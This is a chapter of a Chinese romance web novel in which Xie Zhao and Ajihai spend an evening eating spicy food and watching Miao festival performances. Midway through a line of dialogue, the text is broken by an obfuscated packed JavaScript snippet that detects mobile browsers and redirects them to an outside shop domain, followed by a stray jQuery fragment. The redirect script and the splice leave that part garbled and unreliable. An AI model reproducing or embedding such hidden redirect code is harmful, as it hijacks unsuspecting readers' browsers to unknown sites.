云团被她重新捞起来搁在肩上,毛茸茸的下巴抵着她的肩窝,尾巴有一搭没一搭地扫着她的后背。
她循着来路往回走,走着走着,目光便被一旁铺前挂着的纸鸢牵了过去。
有蝴蝶的,有蜈蚣的,有燕雀的,还有一只鸢鸟。翅膀撑得大开,尾羽剪作燕尾模样,两颗眼珠子描得圆瞪瞪的,透着一股凶相。
谢昭站在那排风筝前看了好一会儿。
铺子主人是个脸瘦长的汉人,见她站着不走,便从铺子里探出头来招呼,“姑娘挑一只?都是新扎的,今日风好,放得起来。”
谢昭便抬手指了指那只鸢鸟与一旁的金雀,付了铜板,接过线轮,将纸鸢并作一处搁在臂弯里。
话分两头。
阿霁海坐在窗边,手里捏着一只竹杯。
杯里的花茶已经凉了,茶汤上浮着几片细碎的干花瓣,被冷风一吹便簌簌地颤着。
杯身上刻着一圈细细的藤纹,眼睫垂着,像是看入了神。
屋里还站着一个人。
青壮模样的阿哥,靛蓝短褐,腰间挎着弯刀,站在离阿霁海五步远的地方,低着头。
他刚把话说完,从方才便一直等着圣子开口。可等了许久,圣子只是转着他手里那只竹杯,连眼皮都没抬一下。
“人跟丢了?”
阿霁海终于开了口。
那阿哥额头上已经渗出了一层细汗,喉结上下滚了滚,“阿榜姑娘拐进巷子之后属下便跟了上去,可那条巷子窄得很,两边岔路又多,属下走到底也没……”
“我要的是结果。”
阿霁海抬起眼来望着他。
那双杏眼里头没有任何怒意,清凌凌的,像是山间淌下来的一道冷溪。
“属下知错。”
“她可有发现你?”
“没有。属下不敢靠太近,阿榜姑娘警觉得很,稍稍靠近便会被察觉。属下只能远远瞧着,她抱着云豹在集市上逛了些时候,买了野果干,然后便……”
“便拐进了巷子,不见了。”
阿霁海帮他把话说完了。
那阿哥不敢接话,只把头又低了几分。
阿霁海把竹杯搁在窗台上,温温和和地开了口,“去查那条巷子通哪些地方。不必跟着她,只需把巷子两旁能藏人的地方挨个查一遍。”
“是。”
“去吧。”
那阿哥如蒙大赦,行了个礼便快步退了出去。
阿霁海站在原地,望着窗外那棵歪枣树发了一会儿呆。
枣树上的鸟巢里探出来两只雏鸟的脑袋,张着嫩黄的嘴叽叽喳喳地叫唤。母鸟衔着虫子落在巢边,两只雏鸟便抢得更凶了。
阿霁海看着那两只雏鸟,忽弯起眼睫。
银铃在空荡荡的屋子里叮叮当当地响了一小串,便随着他的脚步往楼下去了。
谢昭远远地便瞧见了院门口那道靛蓝的身影。
阿霁海站在树下,微微低着头,一缕长发从肩头垂下来,被风一吹便轻轻拂过他的脸颊。
他听见脚步声便抬起了头,杏眼弯弯地望她。
“怎么去了这般久。”
那双杏眼上上下下地打量了她一回,看得很仔细,从头发梢到鞋尖,一处都没落下。
“城里热闹,多逛了一会儿。”谢昭由他打量,“给你看个好东西。”
她将纸鸢往前一递。
阿霁海低头一看,鸢鸟瞪着一双圆溜溜的眼睛望着他,尾巴剪得像剪刀,凶巴巴里透着傻气。金雀做的倒是好看。
他的目光在两只风筝上停了一瞬,抬起眼来看她。
“都给我的?”
“金雀好看,给你。”
阿霁海的表情变得微妙,像是有点高兴又有点不好意思,“我又不是娃娃。”
谢昭作势要收回来,“那你还给我。”
“不还。”
阿霁海拿过纸鸢,攥得紧紧的,两人相视而笑。
人走在她前头,衣摆被风撩起来,露出脚踝上系着的那圈细细的银环。
进了院子,她弯腰把云团搁在石阶上往它屁股上轻轻一推,让它自个儿去玩。
阿霁海把纸鸢搁在廊下的竹架上放好,转过身来,“我们今晚出去吃。”
“好啊。”
阿霁海嘴里念叨着有一家汉人开的饭铺,掌勺的原本是蜀地的厨子,逃难的时候一路翻山越岭到了这儿,手艺地道得很。
“辣子鸡做的好,油泼辣子也香。”
“你经常去吃?”
“不经常,有时候懒得起灶想打牙祭了才去。”
“可算明白了,原来今晚是借着我来打牙祭。”
阿霁海没有否认,笑得眉眼弯弯。
那家饭铺开在城西,一路走穿长街热闹,灯火渐次亮起来。
他捞起谢昭的手,摇摇荡荡。
到了他口中的饭铺,这地没有一面墙,灶台就对着长街,掌勺的老汉赤着胳膊抡炒勺,颠得铁锅火苗一窜三尺高,呛辣香气顺着晚风飘了半条街。
阿霁海从筷筒里抽了两双竹筷,一双递过来,一双拿在手里掰开了毛刺。
他朝灶台那边扬了扬下巴,“辣子鸡、酸汤鱼、蒜泥白肉、素炒豌豆尖。”
掌勺老汉头也不回地应了一声,手里的炒勺抡得更快了。
谢昭在竹桌旁坐下来,不一会便上了菜。
辣子鸡端上来的时候还在滋滋地冒油,干辣椒段和花椒粒裹着鸡块,红亮亮的。酸汤鱼搁在陶盆里,汤底是用糯米粉和淘米水自然发酵的酸汤,鱼是河里现捞的鲤鱼,片成薄片在酸汤里滚一滚便卷了白边。蒜泥白肉切得薄得透光,浇了一勺泼了滚油的蒜泥酱。
豌豆尖嫩得筷子一夹便要断,清炒过仍是翠绿,搁在满桌子红艳艳的菜中间像是特意留出来的一方喘息之地。
阿霁海夹了一块辣子鸡搁在她碗里,“尝尝。”
谢昭低头咬了一口,鸡肉外酥里嫩,干辣椒的焦香和花椒的麻在舌尖上炸开来。她嚼了两口,眼泪便辣了出来。
阿霁海看着她又辣又停不下筷子的模样,脸上一本正经,可眼睫分明在微微发颤。
阿霁海夹了一筷子豌豆尖盖在她碗里的辣子鸡上头,“吃点素的压一压。”
俩人一筷子接一筷子,辣得直吸溜又停不下来。谢昭吃了大半盘辣子鸡,又喝了两碗酸汤,阿霁海比她吃得还多,米饭添了两碗。
吃到后来,两个人靠在椅背上,桌上只剩几片蒜泥白肉孤零零地躺在盘底。
“饱了。”
“走不动了?”
阿霁海托着下巴,歪着头望她。
“歇一会儿。”
从饭铺出来,城西的百戏正到热闹时候。
谢昭站在人群外围瞧着正在表演的上刀山。
一根数丈高的木柱上插着几十把刀刃朝上的钢刀,赤脚踩着刀锋一节一节往上攀。攀到顶端摸到铜铃再一节一节下来,脚底板不破不伤。
“那个是怎么做到的?”谢昭指着刀山问。
“不单是胆量。”阿霁海站在她身侧,声音压得比平时低了几分,“上刀山之前要念咒请神,山神护体才踩得上去。”
“你上过吗?”
“小时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734390|206840||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上过一回。”
“如何?”
“裤子刮破了。”
再往前走去,下火海,烧红的木炭铺了一地,赤脚踩上去滋滋冒着青烟。
踩过火海的阿哥从灰烬里捡起一枚烧红的铁犁头,用牙齿咬住,绕场一周,神色自若。
“在想什么?”阿霁海偏过头来问她。
“在想……”
谢昭正要答话,却忽然看见了喧哗中不寻常的攒动,探头去看,“那边好像有唱对歌的——”
她还没来得及反应,手腕便被阿霁海轻轻握住了。
“我带你去坐秋千,荡高了能看到大半个城。”
谢昭被他半拉半带着往坝子东边走,“看人家唱对歌挺好的——”
“不好。”阿霁海脚下不停,语气忽然固执起来,“他们在找心上人,你过去,万一有人朝你唱怎么办。”
“唱便唱,我不应就是了。”
“不应也不行。”
“你怕什么?”
阿霁海没有回答,只是牵着她的手又紧了几分,银铃在喧闹的人声里头轻轻地晃着。
东边秋千架足有两层楼高,四根粗麻绳吊着一块木板,荡起来的时候整个人都腾了空,裙子被风灌得鼓鼓囊囊的,像是凭空开了一朵花。
“你坐,我来荡。”
阿霁海把旁边的绳子一拽,秋千便悠悠地荡了起来。谢昭坐在秋千上,他在背后掌控力道,要她升多高便多高。
她坐在兀自轻晃的秋千上,由低到高。荡到最高处时候,望着高处便是一整个悬雾城的景象。
满城灯火错落如星,苗歌为景。远处翁摆江在月下泛着银光,那条伏在山脚下的龙又换上了一身银鳞。
她喊他,“再推高些!”
少年便使足了力气,秋千猛地往前一荡,四根麻绳被拉得咯吱作响。
风灌满了她的袖子,阿霁海在底下问。
“够不够高?”
“再高!”
秋千又升高了几分,她感觉自己快要飞出去了。可那种将要坠落的恐惧却让她前所未有地清醒,飞出去的恐惧和留在地上的安稳,两者相较,她竟更贪恋前者。
等她从秋千上下来,阿霁海又带她去看喷火。
一个苗家阿哥举着火把仰头灌了一大口桐油,对着火把猛地一喷,一条火龙便从他嘴里窜了出来,足有丈余长。
火焰在阿霁海的眼睛里翻卷跳跃,把一对杏眼烧成了金色的。
又到了踩高跷的阿哥们踩着丈余高的木跷在人群中穿行,两个高跷阿哥扮演的是苗家传说中的祖公祖婆,一个戴银冠,一个挎长刀,踩在高跷上摇摇晃晃地对唱苗族古歌。
这出戏是讲洪水滔天之后,一对兄妹结了连理,繁衍出苗家十二支系的故事。
铜鼓与芦笙奏着古朴的快慢调调,那调子简单至极,来回不过五六个音。可韵味在于快慢交替之间,快的时候像暴雨打芭蕉,慢的时候像老牛反刍。
扮演兄的高跷阿哥唱完一段会假装摔跤,引得围观的小娃娃们尖叫。
扮演妹的则用一把竹骨伞把他扶起来,伞面一开一合。
人群时而拍手时而起哄,一个个人脸上被松脂灯照得通红。
谢昭看得目不转睛,不知不觉便到了收场时分。
看客陆陆续续散去,少年的手指穿过她指隙间。
他们就这么走了一段路,回到院里时候,云团已经睡得不知今夕何夕。
阿霁海侧过脸来,月华如水洒在他的眉眼间。
“今日和你一起,我好高兴。”
“我亦如此。”